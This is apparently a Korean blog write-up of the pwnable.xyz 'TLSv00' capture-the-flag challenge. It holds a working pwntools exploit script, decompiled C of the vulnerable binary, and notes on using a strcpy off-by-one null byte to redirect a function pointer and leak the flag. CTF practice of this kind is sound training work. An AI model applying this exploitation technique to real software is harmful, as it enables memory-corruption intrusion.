security/포너블 - pwnable.xyz

pwnable.xyz - TLSv00

민사민서 2023. 2. 5. 19:58
from pwn import *
p = remote("svc.pwnable.xyz", 30006)
# p = process("./challenge")

# gdb.attach(p)
# pause()

# read_int32()에서 입력값의 마지막 바이트 null로 변환하므로 sendline()
p.sendlineafter("> ", "3")
p.recvline()
p.sendafter("instead? ", "y")
p.sendafter("comment: ", "minseo")

# do_comment 1byte overflow(\x00), real_print_flag()를 가리킨다
p.sendlineafter("> ", "1")
p.sendlineafter("len: ", "64")

# char key[64]는 랜덤한 값으로 꽉차있음
# key[63]부터 key[1]까지 순서대로 NULL로 만들어버리자 (시간 좀 오래 걸림)
for i in range(63,0,-1):
    p.sendlineafter("> ", "1")
    p.sendlineafter("len: ", str(i))

# load flag (flag[0]만 랜덤값과 xor, 나머지는 그대로 저장)
p.sendlineafter("> ", "2")

# print flag
p.sendlineafter("> ", "3")
p.recvline()
p.sendafter("instead? ", "n")

p.interactive()

 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int int32; // eax
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  setup(argc, argv, envp);
  puts("Muahaha you thought I would never make a crypto chal?");
// /dev/urandom 통해 63자의 랜덤한 키 generate
  generate_key(63LL);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        printf("> ");
// 31자리 정수까지 입력 가능, return atoi(s)
        int32 = read_int32();
        if ( int32 != 2 )
          break;
        load_flag();
      }
      if ( int32 > 2 )
        break;
      if ( int32 != 1 )
        goto LABEL_12;
// 입력받은 길이(1~64)로 키 재생성 
      printf("key len: ");
      v4 = read_int32();
      generate_key(v4);
    }
    if ( int32 == 3 )
    {
      print_flag();
    }
    else if ( int32 != 4 )
    {
LABEL_12:
      puts("Invalid");
    }
  }
}

unsigned __int64 __fastcall generate_key(int a1)
{
  int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( a1 > 0 && (unsigned int)a1 <= 0x40 )
  {
    memset(s, 0, sizeof(s));
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, a1);
    for ( i = 0; i < a1; ++i )
    {
// 키값은 전부 null이 아닌 값으로 생성
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
// 전역변수 key에 복사
// strcpy() 함수는 끝나는 널 문자를 포함하여 string2를 string1에서 지정한 위치로 복사
// 즉 s에 64자 입력하면 s[64]='\x00' 까지 key에 복사함
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}
int load_flag()
{
  unsigned int i; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/flag", 0);
  if ( fd == -1 )
  {
    puts("Can't open flag");
    exit(1);
  }
// 전역변수 flag에 0x40바이트만큼 읽어옴 
  read(fd, flag, 0x40uLL);
// key의 각 바이트와 xor 작업 함 (key[i]=0 이면 flag[i]는 그대로)
  for ( i = 0; i <= 0x3F; ++i )
    flag[i] ^= key[i];
  return close(fd);
}
__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
// unsigned __int8 = unsigned char = 1Byte
  result = (unsigned __int8)do_comment;
// 전역변수 do_comment=0 이면 
  if ( !(_BYTE)do_comment )
  {
    printf("Wanna take a survey instead? ");
// 'y' 입력 시 f_do_comment() 실행됨 
    if ( getchar() == 121 )
      do_comment = f_do_comment;
    return do_comment();
  }
  return result;
}
unsigned __int64 f_do_comment()
{
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter comment: ");
  read(0, buf, 0x21uLL);
  return __readfsqword(0x28u) ^ v2;
}
int real_print_flag()
{
  return printf("%s", flag);
}

Full RELRO      Canary found      NX enabled    PIE enabled
- flag를 유출할 방법을 먼저 찾아야됨, real_print_flag() 함수가 있네
- .text 영역에서 real_print_flag 와 f_do_comment는 인접해있음 (마지막 바이트만 다르네)
0x555555554b00 <real_print_flag> / 0x555555554b1f <f_do_comment>
마지막 바이트만 overwrite??? "off-by-one공격"

- 전역변수 char key[64]와 (__int64) (*do_comment) (void*) 변수는 인접해있음
- generate_key(0x40) 하면 key 1byte overflow 발생 -> do_comment의 첫바이트 \x00으로 바뀜
- PIE 적용되더라도 마지막 3자리는 안바뀜 (0x1000 단위로 물리적 메모리 잘라 관리하므로)
- print_flag() 실행시켜 do_comment에 f_do_comment 주소 저장시켜놓은 후
- generate_key(0x40) 해서 do_comment의 첫바이트 \x00으로 overwrite 시킨 후
- printf_flag() 실행시켜 'y'가 아닌 값 입력하면 real_print_flag() 실행 가능하다! 

- 이제 플래그를 유출시켜보자 -> 이미 key[64]에는 랜덤한 값이 꽉 차있음
- generate_key(n) 실행 시 key에서 0~n-1은 랜덤한 값 채워지고, key[n]=null byte 된다
(strcpy는 마지막 Null byte까지 copy하므로)
- n=63~1 변화시켜나가면 key[1~63] 모두 NULL byte로 만들 수 있음

 

블로그 라업들 보면서 추가로 알게 된 점

read(fd, s, a1) : fd파일의 내용을 s변수에 a1까지 저장한다. 이 때, 문자열 마지막에 널 값을(0x0)을 넣지 않는다.

strcpy(key, s) : key변수에 s변수의 내용을 복사하여 저장한다. 이 때, 문자열의 마지막은 널 값이므로 널 값이 나올 때까지 읽어서 널 값까지 포함하여 저장한다.

 

함수화 시키면 코드가 좀 더 보기 좋아진다?

sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def generate(size):
	sla('>','1')
	sla(':',str(size))

def loadflag():
	sla('>','2')

def printflag(chk): # if 'y' -> f_do_comment(); function pointer
	sla('>','3')
	sla('?',chk);

 

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - l33t-ness  (0) 2023.02.07
pwnable.xyz - Jmp table  (0) 2023.02.05
pwnable.xyz - free spirit  (0) 2023.02.05
pwnable.xyz - xor  (0) 2023.02.05
pwnable.xyz - two targets  (0) 2023.02.05